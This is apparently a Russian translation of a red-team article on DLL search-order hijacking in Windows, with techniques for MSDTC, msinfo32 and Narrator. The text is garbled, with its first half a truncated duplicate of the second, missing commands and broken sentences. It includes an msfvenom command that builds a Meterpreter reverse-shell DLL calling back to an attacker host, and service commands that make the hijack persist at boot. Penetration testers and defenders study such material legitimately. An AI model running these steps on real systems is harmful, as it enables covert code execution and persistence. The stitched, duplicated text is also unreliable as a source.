Когда программа запускается, несколько DLL загружаются в область памяти ее процесса. Windows ищет библиотеки DLL, необходимые для процесса, просматривая системные папки в определенном порядке. Перехват порядка поиска может использоваться в сценариях «красных» для определения возможности
Кроме того, в отчетах показаны распространенные вредоносные программы, которые пытаются маскироваться под DLL, отсутствуя в процессе Windows, чтобы выполнить произвольный код и остаться скрытыми. Плоскость атаки в отношении кражи DLL огромна и зависит от версии операционной системы и установленного программного обеспечения. Однако некоторые из наиболее заметных, которые можно использовать в Windows 7 и Windows 10, описаны в этой статье.
MSDTC
The Distributed Transaction Coordinator - это служба Windows, отвечающая за координацию транзакций между базами данных (SQL Server) и веб-серверами. При запуске этой службы пытается загрузить следующие три DLL-файлы из System32.
Они определены в следующем разделе реестра:
Ключ реестра - oci.dll
В установках Windows по умолчанию « oci.dll » отсутствует в папке System32. Это дает возможность внедрить в эту папку произвольную библиотеку DLL с таким же именем (требуются права администратора) для выполнения вредоносного кода. Утилита Metasploit «msfvenom» может генерировать файлы DLL, которые будут содержать полезную нагрузку.
Создать произвольную DLL
Службу координатора распределенных транзакций можно запустить из службы Windows или выполнив следующую команду из оболочки с повышенными привилегиями:
Служба координатора распределенных транзакций
Когда процесс запускается, запускается произвольная DLL, и открывается сеанс Meterpreter с привилегиями сетевой службы.
Meterpreter - oci DLL
Просмотр процесса «msdtc.exe» в Process Explorer проверит, что DLL была загружена в процесс.
Process Explorer - oci.dll
Разрешения могут быть изменены на Администратора, если из командной строки с повышенными правами выполняется следующее.
msdtc -install
Выполнение «getuid» из сеанса Meterpreter проверит, что процесс, который он сейчас выполняет под «pentestlab», является локальным администратором.
msdtc - привилегии администратора
Служба «msdtc» не настроена на запуск при загрузке по умолчанию, поскольку тип запуска установлен на «Ручной». Конфигурирование службы для автоматического запуска при загрузке загрузит произвольную DLL и создаст постоянство в системе.
Persistence – Distributed Transaction Coordinator
MSInfo
msinfo - Process Explorer
Сеанс Meterpreter с PID 4496 дочерним процессом «msinfo32.exe».
msinfo - Meterpreter
Narrator
Microsoft Narrator - это приложение для чтения с экрана для сред Windows. Адам обнаружил, что DLL, связанная с настройками локализации, отсутствует (MSTTSLocEnUS.DLL) и может также использоваться для выполнения произвольного кода. DLL отсутствует в следующем месте:
Narrator DLL
При запуске процесса «Narrator.exe» в этот процесс загружается DLL, как это видно из Process Explorer.
Narrator DLL Process Explorer
Перевод:
Ссылка скрыта от гостей
и сохранения.Кроме того, в отчетах показаны распространенные вредоносные программы, которые пытаются маскироваться под DLL, отсутствуя в процессе Windows, чтобы выполнить произвольный код и остаться скрытыми. Плоскость атаки в отношении кражи DLL огромна и зависит от версии операционной системы и установленного программного обеспечения. Однако некоторые из наиболее заметных, которые можно использовать в Windows 7 и Windows 10, описаны в этой статье.
MSDTC
The Distributed Transaction Coordinator - это служба Windows, отвечающая за координацию транзакций между базами данных (SQL Server) и веб-серверами. При запуске этой службы пытается загрузить следующие три DLL-файлы из System32.
Код:
oci.dll
SQLLib80.dll
xa80.dll
Они определены в следующем разделе реестра:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI
Ключ реестра - oci.dll
В установках Windows по умолчанию « oci.dll » отсутствует в папке System32. Это дает возможность внедрить в эту папку произвольную библиотеку DLL с таким же именем (требуются права администратора) для выполнения вредоносного кода. Утилита Metasploit «msfvenom» может генерировать файлы DLL, которые будут содержать полезную нагрузку.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.13 LPORT=8888 -f dll > pentestlab.dll
Создать произвольную DLL
Службу координатора распределенных транзакций можно запустить из службы Windows или выполнив следующую команду из оболочки с повышенными привилегиями:
net start msdtc
Служба координатора распределенных транзакций
Когда процесс запускается, запускается произвольная DLL, и открывается сеанс Meterpreter с привилегиями сетевой службы.
Meterpreter - oci DLL
Просмотр процесса «msdtc.exe» в Process Explorer проверит, что DLL была загружена в процесс.
Process Explorer - oci.dll
Разрешения могут быть изменены на Администратора, если из командной строки с повышенными правами выполняется следующее.
msdtc -install
msdtc -install
Выполнение «getuid» из сеанса Meterpreter проверит, что процесс, который он сейчас выполняет под «pentestlab», является локальным администратором.
msdtc - привилегии администратора
Служба «msdtc» не настроена на запуск при загрузке по умолчанию, поскольку тип запуска установлен на «Ручной». Конфигурирование службы для автоматического запуска при загрузке загрузит произвольную DLL и создаст постоянство в системе.
Код:
sc qc msdtc
sc config msdtc start= auto
Persistence – Distributed Transaction Coordinator
MSInfo
Ссылка скрыта от гостей
написал в своем блоге в 2013 году о
Ссылка скрыта от гостей
который является техникой, основанной на загрузке произвольных библиотек DLL из процесса Windows, в которых отсутствуют определенные библиотеки DLL. Microsoft System Information Tool отвечает за сбор информации об оборудовании, программном обеспечении и компонентах системы. В современных версиях Windows, таких как 8.1 и 10, этот процесс пытается загрузить недостающую DLL из System32, которая называется «fveapi.dll». Установка в этот каталог вредоносной библиотеки DLL с таким же именем приведет к загрузке библиотеки DLL в процесс «msinfo32.exe».msinfo - Process Explorer
Сеанс Meterpreter с PID 4496 дочерним процессом «msinfo32.exe».
msinfo - Meterpreter
Narrator
Microsoft Narrator - это приложение для чтения с экрана для сред Windows. Адам обнаружил, что DLL, связанная с настройками локализации, отсутствует (MSTTSLocEnUS.DLL) и может также использоваться для выполнения произвольного кода. DLL отсутствует в следующем месте:
C:\Windows\System32\Speech\Engines\TTS\MSTTSLocEnUS.DLL
Narrator DLL
При запуске процесса «Narrator.exe» в этот процесс загружается DLL, как это видно из Process Explorer.
Narrator DLL Process Explorer
Перевод:
Ссылка скрыта от гостей